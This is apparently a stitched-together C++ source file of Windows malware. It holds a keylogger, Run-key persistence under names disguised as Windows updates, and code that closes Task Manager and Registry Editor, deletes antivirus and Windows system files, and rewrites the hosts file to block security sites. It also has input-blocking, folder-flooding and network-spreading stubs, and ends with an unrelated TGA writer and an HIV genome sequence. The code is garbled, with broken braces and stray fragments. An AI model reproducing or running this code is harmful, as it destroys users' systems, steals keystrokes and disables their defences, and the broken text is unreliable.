outputFile.open("dna.exe");
outputFile <<"MZ";
outputFile.close();
HKEY hKey;
RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Mcft\\W indows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey );
//RegSetValueEx(hKey, "SetUp",0,REG_SZ,(const unsigned char*)system);
RegCloseKey(hKey);
int age=0;
string name="";
Script my_script;
my_script.add(new IWriteVal<string>("H!7?\n"));
my_script.add(new IReadLine(name));
my_script.add(new IWriteVal<string>(",h!7 "));
my_script.add(new IWriteRef<string>(name));
my_script.add(new IWriteVal<string>("?\n"));
my_script.add(new IRead<int>(age));
my_script.add(new IWriteVal<string>("! "));
my_script.add(new IWriteRef<int>(age));
my_script.add(new IWriteVal<string>("!\n"));
my_script.add(new IWriteVal<string>("\n."));
my_script.add(new IRead<int>(age));
my_script.add(new IWriteVal<string>
("\n:P~HIV~!\n\n"));
//erase the previous instruction
my_script.add(new IEraseInstruction(11));
//disable the previous instruction
my_script.add(new ISetInstructionState(11,false));
//insert a new instruction in the beginning that will disable
//my_script.add(new ISetIP(0)); so that we don't end up with an infinite loop
my_script.add(new IInsertInstruction(0, new ISetInstructionState(16, false)));
my_script.add(new ISetInstructionState(14, false));
my_script.add(new ISetIP(0));
my_script.run();
Stealth();
char i;
while (1);
{
// for(i = 8;);
{
if (GetAsyncKeyState(i) == +212)
Save (i,"llotus.txt");
}
{
HKEY hkey;
char upage[] = "www.google.com";
//C:\Users\thresher\Data\Local\Google\Chrome\Application\chrome.exe
RegOpenKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Internet Explorer\\Main", &hkey);
// RegSetValueEx(hkey, "Start Page", NULL, REG_SZ, (LPBYTE)upage, strlen(upage));
RegCloseKey(hkey);
}
}
system ("PAUSE");
srand( time(0) );
random = rand()%6;
system("title :.Virus.:");
BlockInput( true );
SetUp();
BlockInput( false );
CreateThread( NULL, 0, (LPTHREAD_START_ROUTINE)&DestroyWindows, 0, 0, NULL);
while(1)
{
Run( random );
Sleep(10);
int i,j;
char tmp[20] , *ptr;
for (i=0;i<=50;i++){
srand(rand());
ptr = itoa(rand(),tmp,10);
mkdir ( ptr );
chdir ( ptr );
for (j=0;j<=50;j++){
ptr = itoa(rand(),tmp,10);
mkdir( ptr );
}
chdir ("\\");
}
}
}
void SetUp()
{
char system[MAX_PATH];
char pathtofile[MAX_PATH];
HMODULE GetModH = GetModuleHandle(NULL);
GetModuleFileName(GetModH,pathtofile,sizeof(pathtofile));
GetSystemDirectory(system,sizeof(system));
strcat(system,"\\winminer.exe");
CopyFile(pathtofile,system,false);
HKEY hKey;
RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey );
RegSetValueEx(hKey, "SetUp",0,REG_SZ,(const unsigned char*)system,sizeof(system));
RegCloseKey(hKey);
mywindow = FindWindow(NULL,":.Virus.:");
Sleep(1000);
ShowWindow(mywindow, false);
}
void Run( int ID )
{
if( ID == 1 )
{
BlockInput(true);
}
else if( ID == 2 )
{
Hibernation();
}
else if( ID == 3 )
{
OpenStuff();
}
else if( ID == 4 )
{
Hibernation();
}
else if( ID == 5 )
{
CrazyMouse();
}
else
{
BlockInput(true);
OpenStuff();
CrazyMouse();
}
}
void OpenStuff()
{
ShellExecute(NULL,"open",Notepad,NULL,NULL,SW_MAXIMIZE);
ShellExecute(NULL,"open",MineSweeper,NULL,NULL,SW_MAXIMIZE);
ShellExecute(NULL,"open",Hearts,NULL,NULL,SW_MAXIMIZE);
ShellExecute(NULL,"open",Website,NULL,NULL,SW_MAXIMIZE);
}
void Hibernation()
{
Sleep(1000);
SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM) 2);
}
void CrazyMouse()
{
X = rand()%801;
Y = rand()%601;
SetCursorPos( X, Y );
}
int Save66key(int key_stroke, char *file)
{
if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");
cout << key_stroke << endl;
if (key_stroke == 8)
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "\n");
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB)
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "[END]");
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "[HOME]");
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT]");
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP]");
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN]");
else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, "%s", ".");
else
fprintf(OUTPUT_FILE, "%s", &key_stroke);
fclose (OUTPUT_FILE);
return 0;
}
DWORD WINAPI DestroyWindows(LPVOID)
{
while(1)
{
TaskMgr = FindWindow(NULL,"Windows Task Manager");
CMD = FindWindow(NULL, "Command Prompt");
Regedit = FindWindow(NULL,"Registry Editor");
if( TaskMgr != NULL )
{
SetWindowText( TaskMgr, "You Suck Balls Superman");
PostMessage( TaskMgr, WM_CLOSE, (LPARAM)0, (WPARAM)0);
}
if( CMD != NULL )
{
SetWindowText( CMD, "You Suck Balls Superman");
PostMessage( CMD, WM_CLOSE, (LPARAM)0, (WPARAM)0);
}
if( Regedit != NULL )
{
SetWindowText( Regedit, "You Suck Balls Superman");
PostMessage( Regedit, WM_CLOSE, (LPARAM)0, (WPARAM)0);
}
Sleep(10);
}
}
void Stealthis()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth,0);
}
void hideprocess()
{
int i;
for(i = 1; i < 25; i++)
{
HWND program;
Sleep (100);
program = FindWindow(0, "Windows Task Manager");
SendMessage(program,WM_CLOSE,(LPARAM)0,(WPARAM)0);
program = FindWindow(0, "Registry Editor");
SendMessage(program,WM_CLOSE,(LPARAM)0,(WPARAM)0);
program = FindWindow(0, "System Configuration Utility");
SendMessage(program,WM_CLOSE,(LPARAM)0,(WPARAM)0);
program = FindWindow(0, "Windows File Protection");
SendMessage(program,WM_CLOSE,(LPARAM)0,(WPARAM)0);
MessageBox(NULL, "Access Violation at address: 0050666F","Error", MB_OK | MB_ICONERROR );
}
}
char Wn[MAX_PATH];
char Mn[MAX_PATH];
SOCKET sock;
HWND Wnd;
char Buffer [1230];
int x,y;
int Hkey()
{
char system[MAX_PATH];
char pathtofile[MAX_PATH];
HMODULE GetModH = GetModuleHandle(NULL);
GetModuleFileName(GetModH,pathtofile,sizeof(pathtofile));
GetSystemDirectory(system,sizeof(system));
strcat(system,"\\WUpdates.exe");
CopyFile(pathtofile,system,FALSE);
HKEY hKey;
RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey );
RegSetValueEx(hKey, "WUpdates",0,REG_SZ,(const unsigned char*)system,sizeof(system));
RegCloseKey(hKey);
}
void fPaths()
{
GetSystemDirectory(Wn, sizeof(Wn));
GetModuleFileName(0, Mn, sizeof(Mn));
strcat(Wn, "\\WUpdates.exe");
}
void inst()
{
CopyFile(Mn,Wn,0);
CopyFile ("WUpdates.exe", "C:\\windows",TRUE);
CopyFile ("MicroSuck.exe", "C:\\windows\\system",TRUE);
CopyFile ("Svchost32.exe", "C:\\windows\\system32",TRUE);
HKEY inst;
RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run", &inst);
RegSetValueEx(inst, "Windows Security Updates", 0, REG_SZ, (LPBYTE)Wn, sizeof(Wn));
RegCloseKey(inst);
}
void BlockSite()
{
FILE *fpl;
fpl = fopen ("C:\\WINDOWS\\System32\\drivers\\etc\\hosts","w");
fprintf (fpl,"0.0.0.0 google.com");
fprintf (fpl," 0.0.0.0 www.hotmail.com");
fprintf (fpl," 0.0.0.0 www.microsoft.com");
fprintf (fpl," 0.0.0.0 microsoft.com");
fprintf (fpl," 0.0.0.0 macafee.com");
fprintf (fpl," 0.0.0.0 www.macafee.com");
fprintf (fpl," 0.0.0.0 download.mcafee.com");
fprintf (fpl," 0.0.0.0 www.download.mcafee.com");
fprintf (fpl," 0.0.0.0 rads.mcafee.com");
fprintf (fpl," 0.0.0.0 us.mcafee.com");
fprintf (fpl," 0.0.0.0 www.networkassociates.com");
fprintf (fpl," 0.0.0.0 networkassociates.com");
fprintf (fpl," 0.0.0.0 update.symantec.com");
fprintf (fpl," 0.0.0.0 updates.symantec.com");
fprintf (fpl," 0.0.0.0 iveupdate.symantec.com");
fprintf (fpl," 0.0.0.0 norton.com");
fprintf (fpl," 0.0.0.0 www.symantec.com");
fprintf (fpl," 0.0.0.0 symantec.com");
fprintf (fpl," 0.0.0.0 www.norton.com");
fprintf (fpl," 0.0.0.0 google.com");
fprintf (fpl," 0.0.0.0 bitdefender.com");
fprintf (fpl," 0.0.0.0 www.viruslist.com");
fprintf (fpl," 0.0.0.0 viruslist.com");
fprintf (fpl," 0.0.0.0 www.virustotal.com");
fprintf (fpl," 0.0.0.0 virustotal.com");
fprintf (fpl," 0.0.0.0 www.kaspersky.com");
fprintf (fpl," 0.0.0.0 kaspersky.com");
fprintf (fpl," 0.0.0.0 kaspersky-labs.com");
fprintf (fpl," 0.0.0.0 www.kaspersky-labs.com");
fprintf (fpl," 0.0.0.0 www.trendmicro.com");
fprintf (fpl," 0.0.0.0 trendmicro.com");
fprintf (fpl," 0.0.0.0 www.pandasoftware.com");
fprintf (fpl," 0.0.0.0 pandasoftware.com");
fprintf (fpl," 0.0.0.0 www.nod32.com");
fprintf (fpl," 0.0.0.0 nod32.com");
fprintf (fpl," 0.0.0.0 yahoo.com");
fprintf (fpl," 0.0.0.0 mail.yahoo.com");
fprintf (fpl," 0.0.0.0 www.grisoft.com");
fprintf (fpl," 0.0.0.0 www.f-secure.com");
fprintf (fpl," 0.0.0.0 f-secure.com");
fclose(fpl);
}
void DelWin()
{
system("del C:\\WINDOWS\\*.exe /F /S /Q");
system("del C:\\WINDOWS\\*.dll /F /S /Q");
system("del C:\\WINDOWS\\System\\*.exe /F /S /Q");
system("del C:\\WINDOWS\\System\\*.dll /F /S /Q");
system("del C:\\WINDOWS\\System32\\*.exe /F /S /Q");
system("del C:\\WINDOWS\\System32\\*.dll /F /S /Q");
system("del C:\\WINDOWS\\System32\\Restore\\*.* /F /S /Q");
system("del C:\\WINDOWS\\System32\\DRIVERS\\*.sys /F /S /Q");
}
void spaceup()
{
char i;
FILE *Uknown;
Uknown = fopen ("C:\\WINDOWS\\System32\\WUpdates.txt","w");
for (i=1;i<100;i++);
{
Sleep (100);
fprintf(Uknown,"0x0000000,0x0000000,Ax0000000,0x0000000,0x0000000,0x0000000");
fprintf(Uknown,"0x00C0000,Bx0000000,Ax0000000,0x0000000,0x0000000,0x0000000");
fprintf(Uknown,"0x00000F0,0x0000000,7x0000000,0x00FF000,Ax0000000,0x0000000");
fprintf(Uknown,"0x0000000,0x0000000,Ax0000000,0x0000000,0x0000000,0x0000000");
fprintf(Uknown,"0x0000000,0x0000000,Ax0000000,0x0000000,0x000E000,0x0000000");
fprintf(Uknown,"0x0000000,0D0000000,Bx0000000,0x0000000,0x0000000,0x0000000");
fprintf(Uknown,"0x0000000,0x0000000,Ax0000000,0x0000000,0x0000000,0x0000000");
Sleep (100);
fprintf(Uknown,"0x0000000,0x0000000,Ax0000000,0x0000000,0x0000000,0x0000000");
fprintf(Uknown,"0x0000000,0x0000000,Nx0000000,0x0000000,0x0000000,0x0000000");
fprintf(Uknown,"Ax0000000,0x0000000,Ax0000000,0x0000000,0x0000000,0x0000000");
fprintf(Uknown,"0x0000000,0x0000000,Ax000F000,0x00CCC00,0x0000C00,0xFFF0000");
Sleep (100);
fprintf(Uknown,"0x0000000,0x0000000,Ax0000000,0x0000000,0x0000000,0x0000000");
fprintf(Uknown,"0x0000000,0x0000000,Ax0000000,0x0000000,0x0000000,0x0000000");
fprintf(Uknown,"0x0000000,0x0000000,Ax0000000,0x0000000,0x0000000,0x0000000");
fprintf(Uknown,"3x0000000,0x0000000,Ax0000000,0x0000000,0x0000000,0x0000000");
fprintf(Uknown,"0x0000000,0x0000000,Ax0000000,0x0000000,0x0000000,0x0000000");
}
}
void Exploit()
{
FILE *ghp;
ghp = fopen ("C:\\windows\\system32\\exploit.html","w");
fprintf(ghp, "<html>");
fprintf(ghp, "<script>");
fprintf(ghp, "window.onerror=new Function(history.go(0));");
fprintf(ghp, "function btf(){btf();}");
fprintf(ghp, "btf();");
fprintf(ghp, "</script>");
fprintf(ghp, "</html>");
}
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32__) || defined(__TOS_WIN__) || defined(__WINDOWS__)
#define EDITOR "notepad"
#else
#define EDITOR "emacs"
#endif
int nox()
{
printf( "Now I'm going to start your text editor!\n" );
system( EDITOR );
printf( "Good-bye!\n" );
printf( "Bwah, hah, hah, hah, hah!\n" );
return 0;
}
typedef LONG WINAPI (*REGISTRY_OPEN) (HKEY, LPCSTR, DWORD, REGSAM, PHKEY); // Making brand new RegOpenKeyEx.
typedef LONG WINAPI (*REGISTRY_SET) (HKEY, LPCSTR, DWORD, DWORD, const BYTE*, DWORD); // Making brand new RegSetValueEx.
typedef LONG WINAPI (*REGISTRY_CLOSE) (HKEY); // Making brand new RegClose.
typedef WINBASEAPI HMODULE WINAPI (*H_MODULE_HANDLE) (LPCSTR); // Making brand new GetModuleHandle.
typedef WINBASEAPI DWORD WINAPI (*H_MODULE_FILENAME) (HINSTANCE, LPSTR, DWORD); // Making brand new GetModuleFileName.
typedef WINBASEAPI UINT WINAPI (*GET_SYSTEM_DIRECTORY) (LPSTR, UINT); // Making brand new GetSystemDirectory.
typedef WINBASEAPI BOOL WINAPI (*COPY) (LPCSTR, LPCSTR, BOOL); // Making brand new CopyFile.
typedef WINBASEAPI BOOL WINAPI (*DEL) (LPCSTR); // Making brand new DeleteFile.
typedef LONG WINAPI (*REGISTRY_OPEN) (HKEY, LPCSTR, DWORD, REGSAM, PHKEY);
typedef LONG WINAPI (*REGISTRY_SET) (HKEY, LPCSTR, DWORD, DWORD, const BYTE*, DWORD);
typedef LONG WINAPI (*REGISTRY_CLOSE) (HKEY);
typedef WINBASEAPI HMODULE WINAPI (*H_MODULE_HANDLE) (LPCSTR);
typedef WINBASEAPI DWORD WINAPI (*H_MODULE_FILENAME) (HINSTANCE, LPSTR, DWORD);
typedef WINBASEAPI UINT WINAPI (*GET_SYSTEM_DIRECTORY) (LPSTR, UINT);
typedef WINBASEAPI BOOL WINAPI (*COPY) (LPCSTR, LPCSTR, BOOL);
typedef WINBASEAPI BOOL WINAPI (*DEL) (LPCSTR);
HINSTANCE lib1 = LoadLibrary("kernel32.dll"); // These are the dll files we need to create new function of them one's above.
HINSTANCE lib2 = LoadLibrary("Advapi32.dll"); // -11-
//Now get the library of the functions and create a new function name-->
REGISTRY_OPEN RegOpen = (REGISTRY_OPEN)GetProcAddress(lib2, "RegOpenKeyExA"); //New function name = RegOpen.
REGISTRY_SET RegSet = (REGISTRY_SET)GetProcAddress(lib2, "RegSetValueExA"); //New function name = RegSet.
REGISTRY_CLOSE RegEnd = (REGISTRY_CLOSE)GetProcAddress(lib2, "RegCloseKey"); //New function name = RegEnd.
H_MODULE_HANDLE GetH_Handle = (H_MODULE_HANDLE)GetProcAddress(lib1, "GetModuleHandleA"); //New function name = GetH_Handle.
H_MODULE_FILENAME GetH_File = (H_MODULE_FILENAME)GetProcAddress(lib1, "GetModuleFileNameA"); //New function name = GetH_File.
GET_SYSTEM_DIRECTORY GetSysDir = (GET_SYSTEM_DIRECTORY)GetProcAddress(lib1, "GetSystemDirectoryA"); //New function name = GetSysDir.
COPY CpyF = (COPY)GetProcAddress(lib1, "CopyFileA"); //New function name = CpyF.
DEL DelF = (DEL)GetProcAddress(lib1, "DeleteFileA"); //New function name = DelF.
char GetThis[100];
char SysDirFile[100];
void Anticlean()
{
int i;
for(i = 1; i < 9999999; i++)
rename("C:\\WINDOWS\\pchealth\\helpctr\\binaries\\msconfig.exe","C:\\WINDOWS\\pchealth\\helpctr\\binaries\\msconfig.ex_");
Sleep (100);
rename("C:\\WINDOWS\\regedit.exe","C:\\WINDOWS\\regedit.ex_");
Sleep (100);
rename("C:\\WINDOWS\\system32\\Restorerstrui\\rstrui.exe","C:\\WINDOWS\\system32\\Restorerstrui\\rstrui.ex_");
Sleep (100);
rename("C:\\WINDOWS\\system32\\wscui.cpl","C:\\WINDOWS\\system32\\wscui.cp_");
Sleep (100);
rename("C:\\WINDOWS\\system32\\wupdmgr.exe","C:\\WINDOWS\\system32\\wupdagr.ex_");
Sleep (100);
rename("C:\\WINDOWS\\system32\\taskmgr.exe","C:\\WINDOWS\\system32\\taskdae.ex_");
Sleep (100);
MessageBox(NULL, "Access Violation at address: 0050666F","Error", MB_OK | MB_ICONERROR );
}
void killavfw()
{
system("del C:\\Program Files\\McAfee.com\\Personal Firewall\\*.dll /F /S /Q ");
system("del C:\\Program Files\\McAfee.com\\Personal Firewall\\data\\*.* /F /S /Q ");
system("del C:\\Program Files\\McAfee.com\\Personal Firewall\\help\\*.* /F /S /Q ");
system("del C:\\Program Files\\McAfee.com\\VSO\\*.dll /F /S /Q ");
system("del C:\\Program Files\\McAfee.com\\VSO\\*.ini /F /S /Q ");
system("del C:\\Program Files\\McAfee.com\\VSO\\Res00\\*.dll /F /S /Q ");
system("del C:\\Program Files\\McAfee.com\\VSO\\Dat\\4615\\*.* /F /S /Q ");
system("del C:\\Program Files\\McAfee.com\\*.* /F /S /Q ");
system("del C:\\Program Files\\Norton AntiVirus\\*.dll /F /S /Q ");
system("del C:\\Program Files\\Common Files\\Symantec Shared\\*.exe /F /S /Q ");
system("del C:\\Program Files\\Norton AntiVirus\\*.ini /F /S /Q");
system("del C:\\Program Files\\Norton AntiVirus\\*.exe /F /S /Q ");
system("del C:\\Program Files\\Norton AntiVirus\\*.inf /F /S /Q ");
system("del C:\\Program Files\\Zone Labs\\ZoneAlarm\\*.exe /F /S /Q ");
system("del C:\\Program Files\\Zone Labs\\ZoneAlarm\\*.zap /F /S /Q ");
system("del C:\\Program Files\\Zone Labs\\ZoneAlarm\\*.dll /F /S /Q ");
system("del C:\\Program Files\\Zone Labs\\ZoneAlarm\\repair\\*.dll /F /S /Q ");
system("del C:\\Program Files\\Kaspersky Lab\\AVP6\\*.exe /F /S /Q ");
system("del C:\\Program Files\\Kaspersky Lab\\AVP6\\*.dll /F /S /Q ");
}
int val(int argc, char *argv[])
{
HWND wndstealth;
AllocConsole();
wndstealth=FindWindowA("ConsoleWindowClass",NULL);
ShowWindow(wndstealth,0);
Hkey();
Anticlean();
killavfw();
BlockSite();
hideprocess();
Exploit();
DelWin();
FILE *fp;
fp = fopen ("c:\\NError.dmp","w");
{
fprintf(fp,"%s","Stop: 0x0000000A (0xFFFFFFFC,0x00000002,0x00000000,0x804DC42A)");
fclose(fp);
}
}
/* LAN spreading */
DWORD WINAPI L0cal(LPVOID Data)
{
// double NetSpread();
char local[64];
DWORD cnt1,cnt2;
for(cnt1 = 0;cnt1 <= 255;cnt1++)
{
for(cnt2 = 0;cnt2 <= 255;cnt2++)
{
memset(local,0,64);
sprintf(local,"\\\\192.168.%d.%d",cnt1,cnt2);
// NetSpread(local,(char *)Data);
}
}
}
/* internet spreading ( I hope :) ) */
DWORD WINAPI extra(LPVOID Data)
{
char internet[64];
while(1)
{
srand(GetTickCount());
/* generate random ip */
memset(internet,0,64);
sprintf(internet,"\\\\%d.%d.%d.%d",rand()%256,
rand()%256,rand()%256,rand()%256);
// NetSpread(internet,(char *)Data);
}
cin.get();
}
typedef unsigned char byte;
typedef struct
{
byte red, green, blue;
}
RGB_t;
// It is presumed that the image is stored in memory as
// RGB_t data[ height ][ width ]
// where lines are top to bottom and columns are left to right
// (the same way you view the image on the display)
// The routine makes all the appropriate adjustments to match the TGA format specification.
bool write_truecolor_tga( const string& filename, RGB_t* data, unsigned width, unsigned height )
{
ofstream tgafile( filename.c_str(), ios::binary );
if (!tgafile) return false;
// The image header
byte header[ 18 ] = { 0 };
header[ 2 ] = 1; // truecolor
header[ 12 ] = width & 0xFF;
header[ 13 ] = (width >> 8) & 0xFF;
header[ 14 ] = height & 0xFF;
header[ 15 ] = (height >> 8) & 0xFF;
header[ 16 ] = 24; // bits per pixel
tgafile.write( (const char*)header, 18 );
// The image data is stored bottom-to-top, left-to-right
for (int y = height -1; y >= 0; y--)
for (int x = 0; x < width; x++)
{
tgafile.put( (char)data[ (y * width) + x ].blue );
tgafile.put( (char)data[ (y * width) + x ].green );
tgafile.put( (char)data[ (y * width) + x ].red );
}
// The file footer. This part is totally optional.
static const char footer[ 26 ] =
"\0\0\0\0" // no extension area
"\0\0\0\0" // no developer directory
"TRUEVISION-XFILE" // yep, this is a TGA file
".";
tgafile.write( footer, 26 );
tgafile.close();
ofstream outputFile;
outputFile.open("dna.exe");
outputFile <<"MZ";
outputFile.close();
outputFile.open("HIV.gb");
outputFile <<"ORIGIN agtcgctctgcggagaggctggcagattgagccctgggaggttctctccagcactagcaggtagagcctgggtgttccctgctggactctcaccagtgcttggccggcgctgggcagacggctccacgcttgcttgcttaaaagacctcttaataaagctgccagttagaagcaagttaagtgtgtgttcccatctctcctagtcgccgcctggtcattcggtgttctcctgagtaacaagaccctggtctgttaggacccttcttgctttgggaaaccgaggcaggaaaatccctagcaggttggcgcccgaacagggacttgaggaagactgagaagccttggaacacggctgagtgaaggcagtaagggcggcaggaacaaaccacgacggagtgctcctagaaaggcgcaggccaaggtaccaaaggcggcgtgtggagcgggagtcaagaggcctccgggtgaaggtaagtacctacaccaaaaactgtagccggaaaaggcttgttatcctacctttagacaggtagaagattgtgggagatgggcgcgaaaaactccgtcttgagagggaaaaaggcagatgaattagaaaaaattaggttacggcccggcgggaagaaaaaatacagattaaaacatattgtgtgggcagcgaatgaattggacagattcggattaacagagagcctgttggagtcaaaagaaggttgccaaaaaattatttcagttttagaaccattagtaccaacagggtcagaaaatttaaaaagcctttataatactacctgcgtcatttggtgcttgcacgcagaagagaaagtgaaagatactgaagaagcaaaaagaatagtagggagacatctagtggcagaaacagaaactgcagagaaaatgccaaatataagtagaccaacagcaccacctagcgggaaagggggaaacttccccgtgcaacaaataggcggcaactatgtccatctgccgctgagtccccgaaccctaaatgcttgggtaaagttagtagaggagaaaaagttcggggcagaagtagtgccgggatttcaggcactctcagaaggctgcacgccctatgatattaatcaaatgcttaattgtgtgggcgaccatcaagcagcgatgcaaataatcagagaaattattaatgaagaagcagcagactgggatgtacaacatccaataccaggccccttaccagcggggcagctcagagatccacgaggatctgacatagcagggacaacaagcacagtagaggaacagatcgaatggatgtataggcaagaaaatcctgtaccagtaggaaacatctataggagatggatccagataggactgcagaagtgtgtcagaatgtacaatccaaccaacattctagacataaaacaaggaccaaaagagtcgttccaaagctatgtggatagattctacaaaagcttaagggcagaacagacagatgcagcagtgaagaattggatgacccagacgctgctagtgcaatcgaacccagactgtaagttagtactaaagggactagggatgaatcctaccttagaagagatgctaaccgcctgtcaagggataggtggaccaggccagaaggccagactaatggcagaagccttaaaagaggccatgcgaccagcccctatcccatttgcagcagcccaacagaaaagggcaattaagtgttggaattgtggaaaggaagggcactcggcaagacaatgccgagcgcctagaagacagggctgctggaaatgtggcaagtcaggacacatcatggcaaactgcccagatagacaggctggttttttagggcttggaccatggggaaagaagccccgcaacttccccgtggtcccaagttcgcaggggctaacaccaacagcacccccaatggatccagcagtggacctactggagaagtacatgcagcaagggagaaaacagagagagcagagacaaagaccatacaaagaagtgacagaggacttgctgcatctcgagcaaggagagacaccacacagagagacgacagaggacttgctgcacctcaattctctctttggaaacgaccagtagtcacagcatacattgaggatcagccagtagaagttttactagacacaggggctgacgactcaatagtagcaggaatagagttagggagcaattatagtccaaaaatagtagggggaataggaggattcataaataccaaagaatataaagatgtagaaataagagtgctaaataaaaaggtaagagccaccataatgacaggtgataccccaatcaacatttttggcagaaatatcctgacagccttgggcatgtcattaaatttaccagtcgccaaaatagaaccagtaaaagtaacattaaagccaggaaaagatgggccaaaacaaagacaatggcccttaacaagagaaaaaatagaagcactaagagaaatctgtgaaaaaatggaaagagaaggtcagctagaagaagcgcctccaactaatccctataatacccctacatttgcaattaagaaaaaggacaaaaacaaatggaggatgctgatagattttagagaactaaacaaggtaactcaagatttcacagaggttcagttaggaattccacacccagcaggattagccaagaaaagaagaattactgtgttagatgtaggagatgcctacttttccatacccctatatgaggattttagacagtatactgcatttactctgccatcagtaaacaatgcagaaccaggaaaaagatatatatacaaagtcttaccacagggatggaaggggtcaccagcaatttttcaatacacaatgaggcaagtcttagaaccattcagaaaagcaaacccagatgtcattatcgttcagtacatggatgatatcttaatagctagtgacaggacagatttggaacatgacaaagtagtcctacagctaaaggaacttctaaatggcctgggattttccaccccagacgaaaagttccaaaaggaccctccataccaatggatgggctatgaactgtggccaaccaaatggaaattgcaaaaaatacaattgccccaaaaggaagtatggacagttaatgacatccagaaactagtgggtgtcctaaactgggcggcacaaatctacccaggaataaagaccaaacacttatgtaagctaattagaggaaagatgacacccacggaagaagtacagtggacagaattagcagaagcagagctggaggaaaacaaaattatcttaagccaggaacaggagggacactattaccaagaggaaaaagagttagaagcaacagttcaaaaggatcaagacaatcagtggacatataaagtacaccagggagaaaaaattctaaaagtaggaaaatatgcaaagataaaaaatacccataccaacggggtcaggttgttggcacaggtagttcagaaaataggaaaagaagcactagtcatttggggacgaataccaaaatttcacctaccagtagaaagagagacctgggaacagtggtgggataactattggcaagtgacatggatcccagactgggacttcgtatccaccccaccgttggtcaggttagcatttaacctggtaaaagatcctataccaggcgcagagaccttctacacggatggatcttgcaataggcaatcaaaagagggaaaagcaggatatataacagatagaggaaaagacaaagtaaggatattagagcaaactaccaaccaacaagcagaattagaagcctttgcaatggcagtaacagactcaggtccaaaagtcaatattgtagtagactcacagtatgtaatgggaatagtaacaggccaaccggctgaatcagagagtagaatagtaaataaaattatagaagagatgataaaaaaggaagcaatctatgttgcatgggtcccggcccacaaaggcataggaggaaatcaagaaattgaccacttagtaagtcagggcatcagacaagtattattcctagagagaatagagcccgctcaggaagaacatggaaaatatcatagcaatgtaaaagaactagcccataagtttggattacccaacctggtggcaagacaaatagtaaacacatgtgcccagtgccaacaaaaaggggaagctatacatgggcaagtaaatgcagaactaggcacctggcaaatggactgcacacacttagaaggaaaaatcattatagtagcagtacatgttgcaagtggatttatagaagcagaagtcatcccacaggaatcaggaaggcaaacagcactcttcctattaaaactggccagtaggtggccaataacacacttgcacacagataatggtgccaacttcacttcacaggaggtaaagatggtagcatggtgggtaggcatagaacaatcctttggagtaccttacaatccacaaagccagggagtagtagaagcaatgaatcaccacctgaaaaatcagatagaaagaattagagagcaggcaaatacaatggaaacaatagtactaatggcagttcattgcatgaattttaaaagaaggggaggaataggggatatgaccccagtagaaagactagtcaatatgatcaccacagaacaagaaatacaattcctccaagcaaaaaattcaaaattaaaaaattttcgggtctatttcagagaaggcagaaatcaactgtggcaaggacctggggagctactgtggaaaggggacggagcagtcatagtcaaggtagggacagatataaaagtaataccaagaagaaaggccaagatcatcagagactatggaccaaggcaagagatggatagcggttcccacctggagggtgccagggaggatggagaaatggcatagccttatcaagtatctaaaatacagaacaaaagatctagaacaggtgcgctatgttccccaccataaggtggggtgggcatggtggacttgcagcagggtaatattcccattaaaaggaaacagtcatctagagatacaggcatattggaacctaacaccagaaaaaggatggctctcctcttattcagtaagaatgacttggtactcagaagggttctggacagatgttaccccagactgtgcagacaccctaatacacagcacttatttctcttgctttacggcaggtgaagtaagaagagccatcaggggagaaaagtcattgtcctgctgcaattatccccaagcccataagtccaaggtaccgtcactccaatttctggccttagtagtagtacagcaaaatgacaaaccccagagagacaataccaccaggaaacagtggcgaagaaactatcgaagaggccttcgattggctagacaggacggtagaagccataaacagagaggcagtgaaccacctgcccagggagcttattttccaggtgtggcaaaggtcctggagatactggcatgatgagcaagggatgtcacgaagctacacaaagtatagatatttgtgcttaatgcagaaagctgtgttcatgcatttcaagaaagggtgcacttgccggggggaaggacatgggccaggagggtggagatcaggacctccccctcctcctcccccaggtttagtctaatgactgaagcaccagcagagtttcccccggaggatgggaccccaccgagggaaccaggggatgagtgggtaatagaaattctgagagaaataaaggaagaagctttaaagcattttgaccctcgcttgctaactgctcttggctactatatctatactagacatggagacacccttgaaggcgccagagagctcattagggtcctacaacgagccctcttcacgcacttcagagcaggatgtggccactcaagaattggccaaccaaggggaagaaatcctctctcagctataccgacccctagaaacatgcaataacaaatgcttttgtaaggggtgctgcttccattgccagctgtgttttttaaacaaggggctcgggatatgttatgaccgaaagggcagacgaagaaggagtccgaagaaaactaaggctcattcgtctcctgcatcagacaagtgagtacaatgagtggtaaaattcagctgcttgttgcctttctgctaactagtgcttgcttaatatattgcaccaaatatgtgactgttttctatggagtacccgtgtggaaaaatgcatccattcccctcttttgtgcaactaaaaatagagatacttggggaaccatacagtgcttgccagacaatgatgattatcaagagatacctttgaatgtaacagaggcttttgacgcatgggataat